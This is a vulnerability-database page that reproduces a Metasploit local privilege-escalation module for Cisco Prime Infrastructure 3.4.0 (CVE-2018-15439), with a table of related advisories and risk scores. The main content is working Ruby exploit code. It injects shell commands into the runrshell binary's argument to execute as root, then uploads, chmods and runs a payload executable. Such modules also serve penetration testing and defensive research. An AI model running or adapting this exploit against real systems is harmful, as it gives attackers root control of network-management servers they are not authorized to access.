Cisco Prime Infrastructure Runrshell Privilege Escalation
🗓️ 08 Dec 2018 00:00:00Reported by Pedro Ribeiro <[email protected]>, sinn3r <[email protected]>Type
metasploit🔗 www.rapid7.com👁 22 Views
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| The vulnerability of Cisco Small Business network devices’ microprogramming software relates to the use of pre-installed credentials. This allows attackers to bypass authentication procedures and execute arbitrary commands with administrator privileges. | 13 Dec 201800:00 | – | bdu_fstec | |
| CVE-2018-15439 | 8 Nov 201808:46 | – | circl | |
| Cisco Small Business Switches Privileged Access Vulnerability | 7 Nov 201816:00 | – | cisco | |
| Cisco Small Business Switches Authentication Bypass Vulnerability | 9 Nov 201800:00 | – | cnvd | |
| CVE-2018-15439 | 8 Nov 201817:00 | – | cve | |
| CVE-2018-15439 Cisco Small Business Switches Privileged Access Vulnerability | 8 Nov 201817:00 | – | cvelist | |
| EUVD-2018-7317 | 7 Oct 202500:30 | – | euvd | |
| CVE-2018-15439 | 8 Nov 201817:29 | – | nvd | |
| Authentication flaw | 8 Nov 201817:29 | – | prion | |
| Cisco Accidentally Released Dirty CoW Exploit Code in Software | 8 Nov 201816:39 | – | threatpost |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation',
'Description' => %q{
This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The
runrshell binary is meant to execute a shell script as root, but can be abused to inject
extra commands in the argument, allowing you to execute anything as root.
},
'License' => MSF_LICENSE,
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery
'sinn3r' # Metasploit module
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2018-12-08',
'Privileged' => true,
'References' => [
['CVE', '2018-15439'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],
],
'Targets' => [
[ 'Cisco Prime Infrastructure 3.4.0', {} ]
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])
]
end
def exec_as_root(cmd)
command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"
vprint_status(cmd_exec(command_string))
end
def exploit
payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"
exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
print_status("Uploading #{exe_path}")
write_file(exe_path, generate_payload_exe)
unless file?(exe_path)
print_error("Failed to upload #{exe_path}")
return
end
register_file_for_cleanup(exe_path)
print_status('chmod the file with +x')
exec_as_root("/bin/chmod +x #{exe_path}")
print_status("Executing #{exe_path}")
exec_as_root(exe_path)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Dec 2018 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 29.3
CVSS 3.19.8
CVSS 39.8
EPSS0.49742
SSVC